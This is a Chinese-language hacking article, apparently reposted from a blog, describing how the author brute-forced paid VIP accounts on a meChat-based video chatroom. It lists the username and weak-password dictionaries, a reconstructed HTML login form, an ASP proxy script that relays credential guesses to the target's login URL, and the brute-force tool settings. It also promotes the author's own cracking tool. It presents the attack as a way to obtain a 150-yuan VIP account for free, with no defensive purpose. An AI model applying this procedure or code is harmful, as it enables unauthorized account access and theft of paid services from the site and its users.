| 关键词: Objstream 表单 字典 登录 用户 一个 密码 如图 探测 用户名 |
由于工作关系,我的QQ每个星期一到星期五都是在线的,但是却很少有人加我为好友,可能是老了吧,毕竟都24了,网恋那段激情燃烧的岁月已经离我远去了。可是那天却非常的幸运,一个女网友加了我,并传给我一个网址http://xxxxxxxxxxx.net:2899/,让我去看她跳舞。我心 首先看看网页,如图1所示,大致了解了一下,这个聊天室是用meChat架构的。到meChat官方网站看了看,发现了最关键的一句,本系统无需任何Web Server和数据库系统支持,完全独立运行,所以什么Web注入、上传漏洞、IIS写权限漏洞基本就不可以用了。这时我能想到的就是Web探测了,制作一个用户字典和密码字典,因为总会有弱智的密码吧?至于探测软件呢,我能想到的就是小榕的溯雪,个人觉得这个最好用了。以下就介绍我是怎么做的吧,至于分析嘛,本来就没什么技术含量,就不做了。 第一步制作字典。字典的制作很关键,试想本来就没有这些用户又何来猜解呢?因此就得想办法知道有哪些用户名,然后做成字典。怎么获取用户名呢?这让我想起刚才登录进去的事情,它不是有在线用户列表吗?呵呵……那就再登录一次,不过我在看用户列表的时候发现一个很有趣的现象,就是大多数用户的用户名都是数字,都是8XXX这样的构成。这里我做了一个猜测,因为VIP用户是不能自己注册的,必须由管理员开启,那么就有可能管理员为了方便或者其他目的,这些VIP的用户名都是8000以上的递增数。所以我做了一个8000~9000这样的用户字典。至于密码字典,我就用比较常见的或者弱智的密码,比如123456、5201314……这样字典就做好了。 第二步是构造登录表单。这个聊天室的登录表单是利用JavaScript构造表单数据提交的,也就是说直接用溯雪提取表单元素来进行探测是不行的。经过分析,我发现提交的表单数据有Alias(用户名)、Password(密码)和RoomID(房间ID),所以构造了如下的表单。 <form name="form1" method="post" action="http://xxxxxx.net:2899/1/Login"> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td>RoomID</td> <td><input name="RoomId" type="text" id="RoomId" value=”101”></td> </tr> <tr> <td>Alias</td> <td><input name="Alias" type="text" id="Alias"></td> </tr> <tr> <td>Password</td> <td><input name="Password" type="text" id="Password"></td> </tr> <tr> <td> </td> <td><input type="submit" name="Submit" value="提交"></td> </tr> </table> </form> 这里需要说明的是Form的Action地址,它的构造需要看登录页面的源代码。在源代码中有这样类型的JavaScript语句: var Server = new ChatServer() ; Server.Add(101,'1房:会员大厅','/1/',12,28,0,'本网站不允许任何人互发联系方式,经发现立即永久封杀号码,并扣除分数.希望会员宝贝尊重网站规定!愿大家玩的开心','006,008,009,05,8001,8002,8003,8006,8008,8009',0,1,0,0,1,1,1,0,''); 其中101为RoomID,“/1/”为Action地址中的“/1/”,这要根据实际聊天室的源代码修改。 第三步是制作本地代理登录脚本。本来没有这一步的,但是因为溯雪会把地址中的“http://”自动去掉,导致URL语法错误,不能正常使用。可能其它的Web探测器不会出现这个错误,但是我只有溯雪,只能自己寻求办法解决了。我的办法是在本地Web服务器放一个ASP脚本,让它获取溯雪提交的数据,然后代理提交给聊天室登录获得返回给溯雪。我制作了一个chat.asp程序,其代码如下。 <% Function GetHttpPage(HttpUrl) If IsNull(HttpUrl)=True Or HttpUrl="$False$" Then GetHttpPage="$False$" Exit Function End If Dim Http Set Http=server.createobject("MSXML2.XMLHTTP") Http.open "GET",HttpUrl,False Http.Send() If Http.Readystate<>4 then Set Http=Nothing GetHttpPage="$False$" Exit function End if GetHTTPPage=bytesToBSTR(Http.responseBody,"GB2312") Set Http=Nothing If Err.number<>0 then Err.Clear End If End Function Function BytesToBstr(Body,Cset) Dim Objstream Set Objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function HttpUrl="http://xxxx.com:5000/1/Login/?Alias="&Request.Form("Alias")&"&Password="&Request.Form("Password")&"&RoomID="&Request.Form("RoomID")&"&boxfunc=off&RoomPassword=&Sex=" StarGet = GetHttpPage(HttpUrl) %> <%=Server.HTMLEncode(StarGet)%> 然后再把刚才构造的登录表单提交地址改成:http://localhost/chat.asp,这样准备工作就完成了,至于怎么使用溯雪呢,我这里只简单地说一下。运行溯雪,将刚才构造的登录表单保存成HTML网页,鼠标单击把它拖到溯雪程序框里,然后选择模式为标准模式,按快捷键Ctrl+I提取表单,在loginPath处输入“/1/”,RoomID处输入“101”,Alias选择用户字典,password选择密码字典,效果如图2所示。接下来按Ctrl+R运行,这是一次错误探测,会返回登录错误的信息,然后让你输入错误标记,这里填写“errorpassword.htm”就可以了。再次提交程序就开始探测了(再按Ctrl+R),我想要不了多久,你就会得到一个别人花150元才能买到的VIP账户了。 上面的方法比较麻烦,同时还需要IIS支持,所以我自己做了一个破解小工具,给那些和我一样懒的人用。该程序是用C#做的,要在Microsoft .NET Framework 1.1以上才能使用,下面就简单介绍一下吧。运行界面如图3所示,参数设置就不用说了,中文写的很清楚。特别说明一下的是用户名作为密码功能,因为有很多人喜欢把用户名作为密码使用的,大家不妨试一下!最后再说一下,关于用户名规律的发现,大家可以看这个聊天室源代码中的Server.Add(101,'1房:会员大厅','/1/',……0,1,0,0,1,1,1,0,''),或者加入他们的QQ群自己去发现。 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|